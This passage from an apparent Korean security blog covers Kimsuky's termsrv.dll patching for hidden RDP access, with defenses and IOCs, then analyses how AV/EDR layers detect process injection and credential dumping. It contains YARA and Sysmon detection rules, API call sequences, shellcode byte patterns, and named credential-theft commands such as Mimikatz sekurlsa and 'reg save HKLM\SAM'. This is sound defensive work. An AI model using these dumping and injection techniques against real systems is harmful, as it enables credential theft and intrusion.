4. 공격자의 선택에 담긴 전략적 의도

4.1 "왜 미미카츠의 메모리 패치가 아니라 파일 교체인가?"

Mimikatz의 ts::multirdp 명령은 실행 중인 TermService 프로세스의 메모리에서 termsrv.dll의 특정 패턴을 찾아 실시간으로 패치한다. 이 방식은 재부팅하면 원래대로 돌아간다.

Kimsuky가 파일 교체를 선택한 이유는 지속성(Persistence) 때문이다:

비교 항목	메모리 패치 (Mimikatz)	파일 교체 (Kimsuky)
재부팅 후	패치 소멸, 재실행 필요	패치 유지
탐지 난이도	메모리 포렌식으로 탐지	파일 해시 비교로 탐지 가능하나, 무결성 모니터링 미운영 시 미탐지
의존성	Mimikatz 실행 필요 (탐지 위험 높음)	한 번 교체 후 도구 삭제 가능
안정성	OS 업데이트 시 패치 깨질 수 있음	파일 자체가 교체되어 업데이트 전까지 안정
추가 도구	Mimikatz 바이너리가 디스크에 존재해야 함	`multiple.exe` 실행 후 삭제 가능

Kimsuky의 선택은 명확하다: "한 번 패치하고 도구를 지우면, 시스템이 재부팅되어도 다중 세션이 유지되고, 패치 도구의 흔적은 남지 않는다."

4.2 "왜 RDP Wrapper가 아니라 DLL 직접 교체인가?"

Kimsuky는 이전 공격에서 오픈소스 도구인 RDP Wrapper를 사용한 이력이 있다. RDP Wrapper는 termsrv.dll을 수정하지 않고, SCM(Service Control Manager)과 TermService 사이에 래퍼 레이어를 삽입하는 방식이다.

하지만 RDP Wrapper는 파일이 디스크에 남고, rdpwrap.dll이라는 알려진 파일명이 시그니처 탐지에 걸리기 쉽다. termsrv.dll 직접 교체는:

추가 DLL 파일 없음 (rdpwrap.dll 불필요)
서비스 구성 변경 없음 (SCM 레이어 수정 불필요)
시스템 DLL 자체가 "정상적으로 동작" — 단지 내용이 다를 뿐

4.3 "왜 계정 이름이 IIS_USER인가?"

무작위 문자열이나 "admin2" 같은 이름 대신, IIS_USER를 선택한 것은 의도적 위장이다. IIS(Internet Information Services)는 Windows 서버에서 흔히 사용하는 웹 서버이며, IUSR, IIS_IUSRS 같은 서비스 계정이 존재하는 것이 정상이다. 관리자가 계정 목록을 훑어보더라도 "IIS 관련 서비스 계정이겠지"라고 넘길 가능성이 높다.

5. 탐지가 어려운 이유: 방어자의 사각지대

5.1 "정상과 비정상의 경계가 없다"

이 공격의 가장 교활한 점은 개별 행위만 보면 모두 "있을 수 있는 일"이라는 것이다:

행위	정상 시나리오	공격 시나리오
termsrv.dll 교체	Windows 업데이트	Kimsuky 패치
관리자 계정 추가	IT 부서 작업	공격자 백도어 계정
RDP 서비스 재시작	유지보수	패치 적용을 위한 재시작
아웃바운드 TCP 연결	정상 서비스 통신	RevClient C2 통신
RDP 세션 접속	관리자 원격 접속	공격자 은밀 접근

5.2 네트워크 탐지의 한계

RevClient의 리버스 터널링을 통해 중계된 RDP 트래픽은, 네트워크 관점에서 볼 때 감염 시스템이 외부 IP에 TCP 연결을 하는 것에 불과하다. RDP 프로토콜 자체는 터널 내부에 캡슐화되어 있으므로, DPI(Deep Packet Inspection) 없이는 식별이 어렵다. 포트 번호도 3389가 아닌 C2 포트(예: 2086)를 사용한다.

5.3 파일 무결성 검증의 부재

대부분의 엔드포인트 보안 제품은 termsrv.dll을 지속적으로 모니터링하지 않는다. 이 파일은 시스템 보호(Windows File Protection/WRP) 대상이지만, 공격자가 takeown과 icacls로 권한을 가져간 후 교체하면 WRP가 즉시 감지하지 못하는 경우가 있다. 특히 TermService가 중지된 상태에서 교체가 이루어지면 파일 잠금도 없다.

5.4 계정 은닉의 효과

SpecialAccounts\UserList에 등록된 계정은:

Windows 로그인 화면에 표시되지 않음
net user 명령의 일반 출력에도 누락될 수 있음
이벤트 로그에 로그인 기록은 남지만, 능동적으로 검색하지 않으면 발견하기 어려움

6. 방어 전략: 다층적 대응

6.1 즉시 적용 — 탐지 규칙

termsrv.dll 무결성 모니터링 (최우선):

# termsrv.dll 해시를 기준값과 비교하는 스케줄 작업
$baseline = "저장된_정상_해시값"
$current = (Get-FileHash C:\Windows\System32\termsrv.dll -Algorithm SHA256).Hash
if ($current -ne $baseline) {
    # 알림 발생: termsrv.dll 변조 감지
    Write-EventLog -LogName Security -Source "FileIntegrity" -EventId 9999 -Message "termsrv.dll modified!"
}

SpecialAccounts 레지스트리 감시:

모니터링 경로: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
트리거: 새 값 생성 시 즉시 알림

Sysmon 탐지 규칙:

Event ID	탐지 대상	규칙
11 (FileCreate)	termsrv.dll 파일 변경	TargetFilename contains `termsrv.dll`
13 (RegistryEvent)	은닉 계정 등록	TargetObject contains `SpecialAccounts\UserList`
1 (ProcessCreate)	TermService 비정상 조작	CommandLine contains `net stop TermService`
1 (ProcessCreate)	파일 권한 탈취	CommandLine contains `takeown` AND `termsrv`
3 (NetworkConnect)	RevClient C2 통신	DestinationPort = 비표준 포트 + 지속적 연결

6.2 예방 조치

RDP 접근 제한:

RDP 접근을 VPN 경유로만 허용
NLA(Network Level Authentication) 강제 활성화
특정 IP/서브넷에서만 RDP 접속 허용 (GPO)

시스템 파일 보호 강화:

Windows Defender Credential Guard 활성화 (VBS 기반 보호)
HVCI(Hypervisor-Protected Code Integrity) 활성화 — 커널 및 시스템 DLL 무결성 보장
AppLocker 또는 WDAC 정책으로 takeown.exe, icacls.exe의 비인가 실행 차단

계정 보안:

정기적 계정 감사 (SpecialAccounts 포함)
관리자 그룹 변경 시 즉시 알림 설정
강력한 비밀번호 정책 + MFA 적용

6.3 사고 대응 체크리스트

감염이 의심될 경우 확인할 항목:

□ C:\Windows\System32\termsrv.dll 해시를 동일 OS 버전의 정상 해시와 비교
□ C:\Windows\System32\termsrv.pdb 파일 존재 여부 확인 (원본 백업 흔적)
□ %APPDATA% 경로에 termsrv.dll 사본 존재 여부 확인
□ SpecialAccounts\UserList 레지스트리에 비인가 계정 등록 여부
□ 관리자 그룹에 알 수 없는 계정 존재 여부 (net localgroup Administrators)
□ TermService 비정상 재시작 이력 (이벤트 로그 7036)
□ %APPDATA%\k.log 파일 존재 여부 (키로거 로그)
□ 외부 비표준 포트로의 지속적 아웃바운드 연결 확인
□ MSBuild.exe의 비정상 네트워크 연결 또는 자식 프로세스

6.4 IOC (Indicators of Compromise)

파일 해시 (MD5):

02804d632675b2a3711e19ef217a2877
0d6717c3fa713c5f5f5cb0539b94b84f
0d691673af913dc0942e55548f6e2e4e
116a71365b83cc38211ccfc8059b363e
2dbe8e89310b42e295bfdf3aad955ba9

C2 인프라:

5.61.59[.]53:2086 (RevClient C2)
103.5.144[.]26, 159.100.13[.]216, 206.206.127[.]152 (관련 인프라)

악성 도메인:

onessearth[.]online
powsecme[.]co

주요 파일 경로:

%APPDATA%\termsrv.dll (사전 패치된 DLL)
%APPDATA%\k.log (키로거 출력)
%APPDATA%\Microsoft\desktop.r7u (암호화된 인젝터)

7. 맺으며: 12바이트가 만드는 전략적 우위

Kimsuky의 termsrv.dll 패치는 기술적으로 단순하다. 12바이트를 바꾸는 것이 전부다. 하지만 이 단순함 속에 정교한 전략이 숨어 있다:

12바이트 패치가 공격자에게 주는 것:

피해자 모르게 동시 접속할 수 있는 은밀성
시스템 재부팅에도 살아남는 지속성
패치 도구를 삭제해도 효과가 유지되는 독립성
정상 프로토콜(RDP)을 사용하는 정당성

방어자에게 요구하는 것:

시스템 DLL의 지속적 무결성 모니터링
숨겨진 계정을 찾아내는 능동적 감사
정상 트래픽 속 비정상을 식별하는 행위 분석
"있을 수 있는 일"과 "있어서는 안 되는 일"을 구분하는 맥락적 판단

결국 이 공격이 어려운 이유는 기술적 복잡성이 아니라, 정상과 비정상의 경계가 모호하다는 것이다. termsrv.dll이 교체된 것은 Windows 업데이트일 수도, 공격일 수도 있다. IIS_USER 계정은 웹 서버 서비스 계정일 수도, 백도어일 수도 있다. RDP 세션은 관리자의 정상 접속일 수도, 공격자의 은밀한 침투일 수도 있다.

이 모호함을 해소할 수 있는 유일한 방법은 "정상 상태를 정의하고, 그로부터의 이탈을 지속적으로 감시하는 것"이다. 베이스라인 없이는 이상을 탐지할 수 없다.

참고 자료

AV/EDR 다계층 탐지 메커니즘 종합 분석

KWAKBUMJUN — Sun, 5 Apr 2026 21:26:13 +0900

Part 1: 개요

1. Executive Summary

"우리 회사는 AV를 쓰고 있으니 안전하지 않을까?"

보안 업계에서 가장 위험한 착각 중 하나다. 현대의 공격자는 단일 탐지 레이어를 우회하는 것이 아니라, 탐지 레이어 간의 빈틈을 파고든다. 시그니처를 우회했더니 행위 분석에 걸리고, 행위 분석을 우회했더니 메모리 스캔에 걸리는 — 이 "다계층 탐지"가 정확히 어떻게 작동하는지 종합 분석하였다.

핵심 발견 사항

항목	결과
분석 기법	T1055 (12개 서브 기법), T1003 (8개 서브 기법)
비교 제품	Microsoft Defender, CrowdStrike Falcon, SentinelOne, Elastic Security, Kaspersky
가장 효과적인 단일 탐지 포인트	Sysmon Event ID 10 (LSASS 접근) / ETW Threat Intelligence Provider
가장 큰 탐지 공백	직접 시스콜(Direct Syscall) 기반 인젝션 — 유저랜드 후킹 우회
가장 견고한 탐지 레이어	동적 분석 — 정적/휴리스틱 우회 시에도 가장 높은 확률로 탐지
모든 제품이 놓친 기법	모듈 스톰핑(Module Stomping) — 정상 DLL 메모리를 덮어쓰는 기법
최고 종합 점수 제품	CrowdStrike Falcon (9.3/10) — 커널 수준 가시성 최우수
권고 방어 전략	심층 방어(Defense-in-Depth): 예방 + 탐지 + 대응 3계층 병행

2. 분석 대상 행위 개요

2.1 왜 이 두 기법인가

프로세스 인젝션 (T1055) — 공격자의 "은신술". 다른 프로세스의 주소 공간에 코드를 주입하면, 그 프로세스의 신뢰도를 빌릴 수 있다. svchost.exe에 셸코드를 주입하면, 방화벽은 정상적인 시스템 프로세스의 네트워크 활동으로 인식한다. MITRE에 등록된 서브 기법만 12개 — 그만큼 공격자가 자주 쓰고, 변형이 많다.

자격증명 덤핑 (T1003) — 공격자의 "만능열쇠". LSASS 메모리에서 평문 비밀번호나 NTLM 해시를 추출하면, 도메인 전체를 횡이동할 수 있다. 단 하나의 관리자 해시가 기업 전체 침해로 이어지는 경우가 빈번하다.

2.2 T1055 주요 서브 기법

ID	서브 기법	핵심 API 시퀀스
T1055.001	DLL 인젝션	`OpenProcess` → `VirtualAllocEx` → `WriteProcessMemory` → `CreateRemoteThread(LoadLibrary)`
T1055.002	PE 인젝션	`OpenProcess` → `VirtualAllocEx(RWX)` → `WriteProcessMemory(PE image)` → `CreateRemoteThread`
T1055.003	스레드 실행 하이재킹	`SuspendThread` → `VirtualAllocEx` → `WriteProcessMemory` → `SetThreadContext` → `ResumeThread`
T1055.004	APC 인젝션	`OpenProcess` → `VirtualAllocEx` → `WriteProcessMemory` → `QueueUserAPC`
T1055.012	프로세스 할로잉	`CreateProcess(SUSPENDED)` → `NtUnmapViewOfSection` → `VirtualAllocEx` → `WriteProcessMemory` → `SetThreadContext` → `ResumeThread`
T1055.013	프로세스 도플갱잉	`NtCreateTransaction` → `CreateFileTransacted` → `NtCreateSection` → `RollbackTransaction` → `NtCreateProcessEx`

2.3 T1003 주요 서브 기법

ID	서브 기법	주요 방법
T1003.001	LSASS 메모리	Mimikatz, comsvcs.dll MiniDump, procdump, 직접 메모리 읽기
T1003.002	SAM	`reg save HKLM\SAM`, Volume Shadow Copy, 직접 레지스트리 접근
T1003.003	NTDS	ntdsutil IFM, Volume Shadow Copy, DCSync
T1003.004	LSA Secrets	`reg save HKLM\SECURITY`, Mimikatz `lsadump::secrets`
T1003.005	캐시된 도메인 자격증명	`HKLM\Security\Cache` 접근
T1003.006	DCSync	DRS 프로토콜 악용 (`DRSGetNCChanges`)

Part 2: 탐지 레이어별 기술 분석

3. T1055 프로세스 인젝션 — 탐지 레이어별 분석

3.1 정적 분석 (Static Analysis) — 실행 전에 잡아낸다

정적 분석은 바이너리를 실행하지 않고 파일 자체의 속성을 검사하는 첫 번째 방어선이다. 마치 공항 수하물 X-ray처럼, 내용물을 열어보지 않고도 위험을 판별한다.

3.1.1 IAT(Import Address Table) 분석

고위험 API 임포트 조합 ("인젝션 트라이어드"):

VirtualAllocEx + WriteProcessMemory + CreateRemoteThread/NtCreateThreadEx + OpenProcess

아래 3개 이상이 동시에 임포트되면 인젝션 의심:

API 함수	인젝션 용도	위험도
`OpenProcess`	대상 프로세스 핸들 획득	중간 (정상 사용 빈번)
`VirtualAllocEx`	원격 프로세스 메모리 할당	높음 — 정상 사용 극히 드묾
`WriteProcessMemory`	원격 프로세스에 페이로드 쓰기	높음
`CreateRemoteThread`	원격 프로세스에서 코드 실행	매우 높음
`NtCreateThreadEx`	ntdll 수준 원격 스레드 생성	매우 높음 (API 후킹 우회 시도)
`QueueUserAPC`	APC 인젝션	OpenProcess와 결합 시 높음
`NtUnmapViewOfSection`	프로세스 이미지 언매핑 (할로잉)	매우 높음 — 정상 사용 거의 없음
`SetThreadContext`	스레드 레지스터 변경 (하이재킹)	높음
`CreateFileTransacted`	NTFS 트랜잭션 파일 조작	매우 높음 (도플갱잉)
`NtWriteVirtualMemory`	ntdll 수준 메모리 쓰기	매우 높음 (후킹 우회)

하지만 공격자가 GetProcAddress로 런타임에 API를 해결하면? IAT에는 GetProcAddress와 LoadLibrary만 보이고, 실제 인젝션 API는 숨겨진다.

3.1.2 문자열(String) 분석

탐지 대상 문자열 패턴:

DLL 경로: kernel32.dll, ntdll.dll + LoadLibraryA, LoadLibraryW
대상 프로세스명: explorer.exe, svchost.exe, lsass.exe, spoolsv.exe
런타임 해결 ntdll 함수명: NtCreateThreadEx, NtUnmapViewOfSection, RtlCreateUserThread, NtQueueApcThread
셸코드 프리앰블: \xFC\x48\x83\xE4\xF0 (x64 Cobalt Strike/msfvenom), \xFC\xE8 (x86 블록 API 해시 리졸루션)
API 해싱 상수: 0x6A4ABC5B (ROR13 CreateRemoteThread 해시), 0x0726774C (LoadLibraryA 해시)

3.1.3 엔트로피(Entropy) 분석

파일의 "무작위성"을 측정한다. 정상적인 컴파일된 코드의 .text 섹션은 엔트로피가 5.5~6.5 정도다. 암호화되거나 패킹된 페이로드는 7.0 이상으로 튀어오른다.

조건	정상 범위	의심 기준
`.text` 섹션 엔트로피	5.5 ~ 6.5	> 6.8
개별 섹션 엔트로피	< 7.0	> 7.0 (암호화/압축/패킹)
전체 파일 엔트로피 (< 100KB)	< 6.5	> 7.0 + 작은 크기 = 매우 의심
`.data`/`.rsrc` 섹션	< 5.0	> 7.0 (암호화 셸코드 내장)

3.1.4 PE 헤더 이상 징후

이상 징후	설명	탐지 신뢰도
RWX 섹션	`IMAGE_SCN_MEM_READ\|WRITE\|EXECUTE` (0xE0000020)	높음 — 정상 PE에서 극히 드묾
비표준 섹션명	`UPX0`/`UPX1`, 공백 이름, 비ASCII	중간
Raw size=0, Virtual size>0	언패킹 스텁 존재	높음
최소 임포트 테이블	`LoadLibrary` + `GetProcAddress`만 임포트	높음 (런타임 해결 패턴)
엔트리 포인트 위치 이상	`.text` 외부 또는 마지막 섹션	높음
체크섬 불일치	PE 체크섬과 실제 불일치	중간
TLS 디렉토리 존재	비멀티스레드 앱에서 (콜백 악용)	중간~높음

3.1.5 YARA 룰 패턴

rule Process_Injection_API_Combination {
    meta:
        description = "프로세스 인젝션 API 조합 탐지"
        mitre_attack = "T1055"
    strings:
        $api1 = "VirtualAllocEx"
        $api2 = "WriteProcessMemory"
        $api3 = "CreateRemoteThread"
        $api4 = "OpenProcess"
        $ntapi1 = "NtCreateThreadEx"
        $ntapi2 = "NtUnmapViewOfSection"
    condition:
        ($api1 and $api2 and ($api3 or $ntapi1)) or
        ($ntapi2 and $api2)
}

rule Process_Hollowing_Indicators {
    meta:
        description = "프로세스 할로잉 지표 탐지"
        mitre_attack = "T1055.012"
    strings:
        $s1 = "NtUnmapViewOfSection"
        $s2 = "ZwUnmapViewOfSection"
        $flag = { 04 00 00 00 }  // CREATE_SUSPENDED flag
    condition:
        ($s1 or $s2) and $flag
}

rule Direct_Syscall_Pattern {
    meta:
        description = "직접 시스콜 호출 패턴 (후킹 우회)"
    strings:
        $syscall = { 4C 8B D1 B8 ?? ?? 00 00 0F 05 C3 }
        // mov r10, rcx; mov eax, <num>; syscall; ret
    condition:
        #syscall > 3
}

정적 분석의 한계: 난독화, 패킹, 런타임 API 해결 등으로 비교적 쉽게 우회된다. 이것이 정적 분석만으로는 부족한 이유다.

3.2 동적 분석 (Dynamic/Behavioral Analysis) — 행동을 지켜본다

정적 분석을 우회했더라도, 실제로 인젝션을 수행하려면 결국 동일한 행위를 해야 한다. 동적 분석은 이 행위를 실시간으로 모니터링한다.

3.2.1 API 호출 시퀀스 트리거 조건

Classic DLL 인젝션 시퀀스 (5초 이내 발생):

① OpenProcess(대상 프로세스) 
    ↓
② VirtualAllocEx(PAGE_READWRITE 또는 PAGE_EXECUTE_READWRITE) 
    ↓
③ WriteProcessMemory(할당된 영역에 페이로드 쓰기) 
    ↓
④ CreateRemoteThread 또는 NtCreateThreadEx(LoadLibraryA 또는 할당 영역 지점)

문자열을 아무리 암호화해도, IAT를 아무리 숨겨도, 실행 시점에서 이 API 호출 시퀀스는 반드시 발생한다. EDR은 이 시퀀스가 5초 이내에 연속으로 발생하면 인젝션으로 판단한다.

프로세스 할로잉 시퀀스:

① CreateProcessW/A(CREATE_SUSPENDED, 0x4)
    ↓
② NtUnmapViewOfSection(원본 이미지 언매핑)
    ↓
③ VirtualAllocEx(원본 이미지 베이스 주소)
    ↓
④ WriteProcessMemory(새 PE 헤더 + 각 섹션)
    ↓
⑤ SetThreadContext(새 엔트리 포인트로 업데이트)
    ↓
⑥ ResumeThread

APC 인젝션 시퀀스:

① OpenProcess + OpenThread (또는 CreateToolhelp32Snapshot로 스레드 열거)
    ↓
② VirtualAllocEx → WriteProcessMemory
    ↓
③ QueueUserAPC(대상 스레드에 APC 큐잉)

3.2.2 메모리 속성 변경 모니터링

탐지 조건	설명	위험도
RWX 할당	`VirtualAllocEx/VirtualProtect`로 `PAGE_EXECUTE_READWRITE`(0x40) 설정	높음 — 정상 소프트웨어에서 거의 불필요
RW→RX 전환	RW로 할당 후 페이로드 기록, 이후 `PAGE_EXECUTE_READ`(0x20)로 변경	높음 — 더 정교하지만 탐지 가능
비백킹 실행 메모리	MEM_PRIVATE + 실행 가능 — 디스크상 DLL/EXE에 매핑되지 않은 영역	매우 높음 — 인젝션의 강력한 지표
원격 대용량 할당	부모/디버거가 아닌 프로세스에서 대상 프로세스에 대용량 메모리 할당	높음
PEB 수정	프로세스 할로잉 시 `ImageBaseAddress` 업데이트	높음

3.2.3 프로세스 관계 이상 탐지

[정상 프로세스 계층]
System → smss.exe → csrss.exe
                  → wininit.exe → services.exe → svchost.exe
                                → lsass.exe
winlogon.exe → userinit.exe → explorer.exe

[이상 징후 예시]
✗ cmd.exe → svchost.exe (CREATE_SUSPENDED)     ← 할로잉 의심
✗ powershell.exe → explorer.exe 메모리 쓰기      ← 인젝션 의심
✗ svchost.exe가 services.exe 자식이 아님          ← 위장 프로세스
✗ 동일 프로세스 다중 인스턴스 (예: lsass.exe 2개)  ← 비정상
✗ 비보안 도구가 PROCESS_VM_WRITE로 다른 프로세스 접근 ← 인젝션 시도

3.2.4 네트워크 행위 지표

인젝션된 svchost.exe/explorer.exe에서 C2 서버로의 아웃바운드 연결
원래 네트워크 연결을 하지 않는 프로세스의 갑작스러운 TCP/HTTP 연결
비코닝 패턴: 정규 간격(지터 포함) 외부 IP/도메인 콜백
DGA(Domain Generation Algorithm) 패턴의 DNS 쿼리

동적 분석의 한계: "직접 시스콜(Direct Syscall)"이라는 우회 기법이 있다. ntdll.dll의 API 후킹을 건너뛰고 커널에 직접 시스템 호출을 보내는 것이다. 유저랜드 후킹에 의존하는 EDR은 이를 놓칠 수 있다.

3.3 휴리스틱 분석 (Heuristic Analysis) — 맥락을 읽는다

"이 파일이 뭘 하는가"가 아니라 "이 파일이 누구인가"를 본다.

3.3.1 파일 평판 (Reputation)

클라우드 기반 평판 시스템은 전 세계 수억 대의 엔드포인트에서 수집한 데이터를 기반으로 파일의 "신뢰도"를 매긴다. 처음 보는 바이너리 + 인젝션 API + 미서명 = 자동으로 위험 등급 상승.

신호	위험 가중치
미알려진 바이너리 (글로벌 유병률 낮음)	높음
최근 컴파일 (PE 타임스탬프 수시간/수일 내)	중간
해당 엔드포인트/네트워크에서 최초 발견	높음
클라우드 평판 조회 이력 없음 (zero prevalence)	높음

3.3.2 디지털 서명 (Digital Signature)

Microsoft가 서명한 procdump.exe는 합법적인 디버깅 도구다. 하지만 이 도구가 lsass.exe를 대상으로 실행되면? 서명이 유효해도 맥락이 악성이다. 현대 EDR은 이 "합법적 도구의 비정상 사용"까지 탐지한다.

서명 상태	평가
미서명 바이너리 + 인젝션 API	매우 높은 위험
유효하지 않은 서명 (해지/만료/변조)	높은 위험
자가 서명 (알려지지 않은 발급자)	높은 위험
유효 서명 (손상된 벤더)	낮은 위험 — 탐지 어려움
유효 서명 (정상 벤더)	낮은 위험

3.3.3 파일 경로 이상

C:\Windows\System32\svchost.exe는 정상. C:\Users\victim\Downloads\svchost.exe는 의심. 같은 파일명이라도 경로가 다르면 위장 공격일 수 있다.

위험 실행 경로:

%TEMP%, %APPDATA%\Local\Temp, Downloads 폴더
C:\Users\Public, C:\ProgramData, C:\Windows\Temp
이중 확장자: document.pdf.exe
C:\Windows\System32 외부의 시스템 파일 가장 바이너리

3.3.4 복합 위험도 점수 계산

[크리티컬 — 즉시 차단]
바이너리 수명 < 24시간 + 인젝션 API + 미서명 = 크리티컬

[매우 높음]
작은 파일 (< 200KB) + 높은 엔트로피 + 인젝션 API = 매우 높음

[높음]
프로세스가 SUSPENDED로 자식 생성 후 메모리 쓰기 = 높음
사용자 수준 프로세스에서 SYSTEM 프로세스에 OpenProcess = 높음
다수 프로세스에 대한 빠른 연속 VirtualAllocEx = 높음

4. T1003 자격증명 덤핑 — 탐지 레이어별 분석

4.1 정적 분석 (Static Analysis)

4.1.1 IAT 분석

API 함수	맥락	위험도
`OpenProcess` (LSASS 대상)	LSASS 메모리 접근	높음
`MiniDumpWriteDump` (DbgHelp.dll)	프로세스 덤프 생성	LSASS 대상 시 매우 높음
`NtReadVirtualMemory`	LSASS 메모리 읽기	매우 높음
`SamConnect` / `SamOpenDomain` / `SamQueryInformationUser`	SAM 접근	매우 높음
`RegSaveKey`	레지스트리 하이브 추출	SAM/SECURITY/SYSTEM 대상 시 높음
`AdjustTokenPrivileges`	SeDebugPrivilege 활성화	높음
`DsBind` / `DsGetNCChanges`	DCSync	비DC에서 매우 높음

4.1.2 문자열 분석

Mimikatz 지표:

sekurlsa::logonpasswords, sekurlsa::wdigest, lsadump::sam, lsadump::dcsync
mimikatz, gentilkiwi, Benjamin DELPY, vincent LE TOUX
mimilib.dll, mimidrv.sys, privilege::debug

기타 도구 문자열:

procdump, comsvcs.dll, MiniDump, MiniDumpWriteDump
secretsdump, hashdump
HKLM\SAM, HKLM\SECURITY, HKLM\SYSTEM
ntdsutil, IFM, create full, vssadmin create shadow

인코딩된 페이로드:

PowerShell 내 Base64 인코딩 PE: TVqQ로 시작하는 대형 Base64 블록 (MZ 헤더)
Invoke-Mimikatz 등 리플렉티브 로딩 버전

4.1.3 YARA 룰 패턴

rule Mimikatz_Indicators {
    meta:
        description = "Mimikatz 및 변종 탐지"
        mitre_attack = "T1003"
    strings:
        $s1 = "sekurlsa" ascii wide
        $s2 = "logonpasswords" ascii wide
        $s3 = "lsadump" ascii wide
        $s4 = "gentilkiwi" ascii wide
        $s5 = "mimikatz" ascii wide nocase
        $s6 = "wdigest" ascii wide
    condition:
        3 of them
}

rule LSASS_Dump_Tool {
    strings:
        $api1 = "MiniDumpWriteDump"
        $api2 = "OpenProcess"
        $api3 = "DbgHelp.dll" nocase
        $lsass = "lsass" nocase
    condition:
        ($api1 or $api3) and $api2 and $lsass
}

rule Comsvcs_MiniDump_Abuse {
    strings:
        $s1 = "comsvcs.dll" nocase
        $s2 = "MiniDump"
        $s3 = "#24"  // MiniDump export ordinal
    condition:
        $s1 and ($s2 or $s3)
}

4.2 동적 분석 (Dynamic/Behavioral Analysis)

4.2.1 API 호출 시퀀스 트리거 조건

LSASS 메모리 덤프:

① CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS) → Process32First/Next (lsass.exe PID 탐색)
    ↓
② OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, lsass_pid) — SeDebugPrivilege 필요
    ↓
③ MiniDumpWriteDump(hLsass, lsass_pid, hFile, MiniDumpWithFullMemory)

SAM 덤프:

① AdjustTokenPrivileges → SeBackupPrivilege 활성화
    ↓
② RegOpenKeyExA/W(HKEY_LOCAL_MACHINE, "SAM")
    ↓
③ RegSaveKeyA/W → 파일로 출력

DCSync:

① DsBind(도메인 컨트롤러)
    ↓
② DsGetNCChanges(DRSUAPI_DRS_INIT_SYNC + DRSUAPI_DRS_WRIT_REP)
    ↓
③ 반복 호출 → 전체 계정 복제

4.2.2 핸들 및 메모리 지표

조건	설명	위험도
비LSASS 프로세스가 lsass.exe 핸들 보유 (VM_READ)	보안 제품 및 WerFault.exe 제외	크리티컬
SeDebugPrivilege 활성화	일반 사용자 프로세스에서	높음
LSASS가 갑자기 대용량 파일 생성	덤프 파일	크리티컬
다른 프로세스에 복제된 LSASS 토큰	토큰 복제	높음

누가 lsass.exe에 접근하는가가 핵심이다. Sysmon의 Event ID 10은 이 접근을 기록한다:

탐지 규칙: 
IF ProcessAccess.TargetImage == "lsass.exe" 
AND SourceImage NOT IN (보안 제품 허용 목록) 
AND GrantedAccess INCLUDES VM_READ
THEN → CRITICAL ALERT

4.2.3 프로세스 관계 이상

✗ rundll32.exe → comsvcs.dll 로딩 + MiniDump 인수          ← LSASS 덤프 의심
✗ cmd.exe/powershell.exe → reg save SAM/SYSTEM/SECURITY   ← 자격증명 추출
✗ 비관리 도구가 lsass.exe 핸들 오픈                          ← 비인가 접근
✗ ntdsutil.exe가 비정상 부모 프로세스에서 스폰              ← NTDS 추출 의심
✗ vssadmin.exe가 백업 스케줄 외에 섀도 카피 생성            ← 비정상 사용

4.2.4 Windows 이벤트 로그 지표

이벤트	소스	설명	우선순위
Event ID 10	Sysmon	lsass.exe에 대한 ProcessAccess	최우선 — 가장 중요한 단일 탐지 포인트
Event ID 1	Sysmon	자격증명 덤핑 도구 해시의 프로세스 생성	높음
Event ID 4656/4663	Windows Security	`\Device\HarddiskVolumeShadowCopy*\Windows\NTDS\ntds.dit` 접근	높음
Event ID 4662	Windows Security	DS-Replication-Get-Changes GUID 접근	최우선 (DCSync)
Event ID 4688	Windows Security	ntdsutil.exe, vssadmin.exe 프로세스 생성	중간

DCSync 탐지를 위한 핵심 GUID:

{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} — DS-Replication-Get-Changes
{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} — DS-Replication-Get-Changes-All

4.2.5 파일 시스템 아티팩트

아티팩트	위치	의미
`*.dmp` 파일	비정상 위치	LSASS 메모리 덤프
`sam.hiv`, `system.hiv`, `security.hiv`	임시 디렉토리	레지스트리 하이브 추출
`ntds.dit`	`C:\Windows\NTDS\` 외부	AD 데이터베이스 복사
Prefetch 파일	`C:\Windows\Prefetch\`	도구 실행 흔적

4.3 휴리스틱 분석 (Heuristic Analysis)

Mimikatz, procdump, gsecdump, pwdump 등의 알려진 해시 + SSDEEP 퍼지 해싱으로 변종 탐지
Import Hash(imphash) 매칭으로 알려진 자격증명 덤핑 도구 계열 식별

복합 위험도 점수:

[크리티컬 — 즉시 차단]
LSASS 접근 프로세스 + 미서명 + 낮은 평판 = 크리티컬
SeDebugPrivilege 활성화 + LSASS 접근 + 대용량 파일 쓰기 = 크리티컬
MiniDumpWriteDump 호출 + LSASS PID 대상 = 크리티컬 (서명된 도구라도)
reg save SAM/SYSTEM + 비관리 스크립트에서 실행 = 크리티컬

5. 레이어 간 상관관계 분석

핵심 질문: 하나의 레이어를 우회하면 다른 레이어에서 걸리는가?

답은 "거의 항상 그렇다"이다. 다만 모든 조합이 동일하지는 않다.

5.1 정적 분석 우회 시 → 동적 분석에서의 탐지

정적 우회 기법	동적 탐지 가능 여부	설명
문자열 난독화/암호화	탐지됨	실행 시 동일 API 호출 시퀀스 발생
IAT 은닉 (런타임 해결)	탐지됨	`GetProcAddress` 호출 후 동일 행위 수행
PE 패킹/암호화	탐지됨	언패킹 후 메모리에서 원본 코드 실행
커스텀 인코딩	탐지됨	디코딩 후 동일 행위 패턴
시그니처 변경 (리빌드)	탐지됨	API 시퀀스와 메모리 패턴 동일
직접 시스콜	부분 탐지	유저랜드 후킹 우회하나 커널 콜백/ETW는 탐지

결론: 정적 분석 우회는 동적 분석에 거의 영향을 미치지 않음. 동적 분석이 가장 견고한 탐지 레이어.

5.2 동적 분석 우회 시 → 다른 레이어의 탐지

동적 우회 기법	정적 탐지	휴리스틱 탐지	설명
직접 시스콜 (유저랜드 후킹 우회)	가능 (시스콜 스텁 패턴)	가능 (미서명+낮은 평판)	바이트 패턴 `4C 8B D1 B8 ?? ?? 00 00 0F 05 C3` 탐지
콜백 기반 실행	가능 (API 임포트)	가능	`EnumWindows`, `CreateTimerQueueTimer` 임포트
모듈 스톰핑	불가 (정상 DLL 덮어쓰기)	부분	메모리 내용이 디스크 원본과 불일치 감지 가능
파이버 기반 실행	가능 (`CreateFiber` 임포트)	가능	스레드 생성 모니터링 우회하나 다른 지표

5.3 휴리스틱 우회 시 → 다른 레이어의 탐지

휴리스틱 우회 기법	정적 탐지	동적 탐지	설명
유효 코드 서명 (탈취된 인증서)	가능	가능	서명만으로 다른 지표 무시되지 않음
